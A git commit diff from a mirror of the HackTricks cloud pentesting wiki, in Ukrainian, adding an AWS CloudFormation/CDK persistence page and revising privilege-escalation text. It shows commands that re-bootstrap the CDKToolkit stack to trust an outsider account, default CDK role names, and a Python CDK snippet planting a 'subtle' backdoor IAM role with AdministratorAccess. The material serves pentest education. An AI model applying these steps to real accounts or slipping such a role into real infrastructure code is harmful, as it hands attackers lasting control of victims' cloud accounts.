mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-08 19:30:51 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
|||||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||||
|
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||||
|
|||||||
@@ -0,0 +1,23 @@
|
|||||||
|
# AWS - Cloudformation Persistence
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## CloudFormation
|
||||||
|
|
||||||
|
Для отримання додаткової інформації, зверніться до:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### CDK Bootstrap Stack
|
||||||
|
|
||||||
|
AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім обліковим записам розгортати проекти CDK у жертвенному обліковому записі. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до жертвеного облікового запису, використовуючи AWS cli для повторного розгортання стека з параметрами або AWS CDK cli.
|
||||||
|
```bash
|
||||||
|
# CDK
|
||||||
|
cdk bootstrap --trust 1234567890
|
||||||
|
|
||||||
|
# AWS CLI
|
||||||
|
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||||
|
```
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
@@ -24,7 +24,7 @@ aws cloudformation create-stack --stack-name <stack-name> \
|
|||||||
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
**Потенційний вплив:** Privesc до ролі служби cloudformation, що вказана.
|
**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation.
|
||||||
|
|
||||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||||
|
|
||||||
@@ -37,23 +37,23 @@ aws cloudformation update-stack \
|
|||||||
--capabilities CAPABILITY_IAM \
|
--capabilities CAPABILITY_IAM \
|
||||||
--region eu-west-1
|
--region eu-west-1
|
||||||
```
|
```
|
||||||
Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку.
|
`cloudformation:SetStackPolicy` дозволяє **наділити себе правом `UpdateStack`** над стеком і виконати атаку.
|
||||||
|
|
||||||
**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation.
|
**Потенційний вплив:** Привілейоване підвищення до ролі сервісу cloudformation.
|
||||||
|
|
||||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||||
|
|
||||||
Якщо у вас є цей дозвіл, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні).
|
Якщо у вас є це право, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні).
|
||||||
|
|
||||||
Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку.
|
`cloudformation:SetStackPolicy` дозволяє **наділити себе правом `UpdateStack`** над стеком і виконати атаку.
|
||||||
|
|
||||||
**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation, яка вже прикріплена.
|
**Потенційний вплив:** Привілейоване підвищення до ролі сервісу cloudformation, яка вже прикріплена.
|
||||||
|
|
||||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||||
|
|
||||||
Зловмисник з дозволами на **передачу ролі та створення та виконання ChangeSet** може **створити/оновити новий стек cloudformation і зловживати ролями служби cloudformation** так само, як з CreateStack або UpdateStack.
|
Зловмисник з правами **передавати роль і створювати та виконувати ChangeSet** може **створити/оновити новий стек cloudformation і зловживати ролями сервісу cloudformation** так само, як з CreateStack або UpdateStack.
|
||||||
|
|
||||||
Наступна експлуатація є **варіацією**[ **CreateStack**](./#iam-passrole-cloudformation-createstack), що використовує **дозволи ChangeSet** для створення стека.
|
Наступна експлуатація є **варіацією**[ **CreateStack**](#iam-passrole-cloudformation-createstack), що використовує **права ChangeSet** для створення стека.
|
||||||
```bash
|
```bash
|
||||||
aws cloudformation create-change-set \
|
aws cloudformation create-change-set \
|
||||||
--stack-name privesc \
|
--stack-name privesc \
|
||||||
@@ -89,13 +89,13 @@ aws cloudformation describe-stacks \
|
|||||||
```
|
```
|
||||||
--change-set-type UPDATE
|
--change-set-type UPDATE
|
||||||
```
|
```
|
||||||
**Потенційний вплив:** Privesc до ролі служби cloudformation, яка вже прикріплена.
|
**Потенційний вплив:** Privesc до ролі сервісу cloudformation, яка вже прикріплена.
|
||||||
|
|
||||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||||
|
|
||||||
Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation.
|
Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation.
|
||||||
|
|
||||||
**Потенційний вплив:** Privesc до ролей служби cloudformation.
|
**Потенційний вплив:** Privesc до ролей сервісу cloudformation.
|
||||||
|
|
||||||
### `cloudformation:UpdateStackSet`
|
### `cloudformation:UpdateStackSet`
|
||||||
|
|
||||||
@@ -103,8 +103,53 @@ aws cloudformation describe-stacks \
|
|||||||
|
|
||||||
**Потенційний вплив:** Privesc до прикріплених ролей cloudformation.
|
**Потенційний вплив:** Privesc до прикріплених ролей cloudformation.
|
||||||
|
|
||||||
|
## AWS CDK
|
||||||
|
|
||||||
|
AWS cdk - це набір інструментів, що дозволяє користувачам визначати свою інфраструктуру як код на мовах, з якими вони вже знайомі, а також легко повторно використовувати секції. CDK потім перетворює код високого рівня (тобто python) у шаблони Cloudformation (yaml або json).
|
||||||
|
|
||||||
|
Щоб використовувати CDK, адміністративний користувач спочатку повинен підготувати обліковий запис, що створює кілька ролей IAM, включаючи *exec role*, яка має \*/\* дозволи. Ці ролі слідують структурі іменування `cdk-<qualifier>-<name>-<account-id>-<region>`. Підготовка повинна бути виконана один раз на регіон на обліковий запис.
|
||||||
|
|
||||||
|
За замовчуванням, користувачі CDK не мають доступу до списку ролей, необхідних для використання CDK, що означає, що вам потрібно буде визначити їх вручну. Якщо ви зламаєте машину розробника або якийсь вузол CI/CD, ці ролі можуть бути прийняті для надання вам можливості розгортати CFN шаблони, використовуючи роль `cfn-exec`, щоб дозволити CFN розгортати будь-які ресурси, повністю компрометуючи обліковий запис.
|
||||||
|
|
||||||
|
### Визначення імен ролей
|
||||||
|
|
||||||
|
Якщо у вас є `cloudformation:DescribeStacks`, ролі визначені в стеку під назвою `CDKToolkit`, і ви можете витягти імена звідти.
|
||||||
|
|
||||||
|
Якщо ви на машині, яка використовувалася для створення та розгортання проектів CDK, ви можете витягти їх з `cdk.out/manafest.json` у кореневому каталозі проекту.
|
||||||
|
|
||||||
|
Ви також можете зробити хорошу здогадку про те, якими вони є. `qualifier` - це рядок, доданий до ролей, що дозволяє одночасно розгортати кілька екземплярів підготовки CDK, однак значення за замовчуванням закодоване як `hnb659fds`.
|
||||||
|
```
|
||||||
|
# Defaults
|
||||||
|
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||||
|
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||||
|
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||||
|
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||||
|
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||||
|
```
|
||||||
|
### Додавання шкідливого коду до виходу проекту
|
||||||
|
|
||||||
|
Якщо ви можете записувати в вихід проекту, але не можете розгорнути його самостійно (наприклад, розробник розгортає код через CI/CD, а не з локальної машини), ви все ще можете скомпрометувати середовище, додавши шкідливі ресурси до стеку. Наступне додає IAM роль, яка може бути прийнята обліковим записом зловмисника, до проекту python CDK.
|
||||||
|
```python
|
||||||
|
class CdkTestStack(Stack):
|
||||||
|
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||||
|
super().__init__(scope, construct_id, **kwargs)
|
||||||
|
|
||||||
|
# ----------
|
||||||
|
# Some existing code.....
|
||||||
|
# ----------
|
||||||
|
|
||||||
|
role = iam.Role(
|
||||||
|
self,
|
||||||
|
"cdk-backup-role", # Role name, make it something subtle
|
||||||
|
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||||
|
managed_policies=[
|
||||||
|
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||||
|
],
|
||||||
|
)
|
||||||
|
```
|
||||||
## Посилання
|
## Посилання
|
||||||
|
|
||||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||||
|
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -37,13 +37,19 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
|
|||||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### Persistence
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../aws-persistence/aws-cloudformation-persistence.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
### Post-Exploitation
|
### Post-Exploitation
|
||||||
|
|
||||||
Перевірте наявність **секретів** або чутливої інформації в **шаблоні, параметрах та виході** кожного CloudFormation
|
Перевірте наявність **секретів** або чутливої інформації в **шаблоні, параметрах та виході** кожного CloudFormation
|
||||||
|
|
||||||
## Codestar
|
## Codestar
|
||||||
|
|
||||||
AWS CodeStar - це сервіс для створення, управління та роботи з проектами розробки програмного забезпечення на AWS. Ви можете швидко розробляти, збирати та розгортати додатки на AWS за допомогою проекту AWS CodeStar. Проект AWS CodeStar створює та **інтегрує AWS сервіси** для вашого інструментального ланцюга розробки проекту. Залежно від вибору шаблону проекту AWS CodeStar, цей інструментальний ланцюг може включати контроль версій, збірку, розгортання, віртуальні сервери або безсерверні ресурси та інше. AWS CodeStar також **управляє дозволами, необхідними для користувачів проекту** (які називаються членами команди).
|
AWS CodeStar - це сервіс для створення, управління та роботи з проектами розробки програмного забезпечення на AWS. Ви можете швидко розробляти, збирати та розгортати додатки на AWS за допомогою проекту AWS CodeStar. Проект AWS CodeStar створює та **інтегрує AWS сервіси** для вашого інструментального ланцюга розробки проекту. Залежно від вибору шаблону проекту AWS CodeStar, цей інструментальний ланцюг може включати контроль версій, збірку, розгортання, віртуальні сервери або безсерверні ресурси тощо. AWS CodeStar також **управляє дозволами, необхідними для користувачів проекту** (які називаються членами команди).
|
||||||
|
|
||||||
### Enumeration
|
### Enumeration
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
Reference in New Issue
Block a user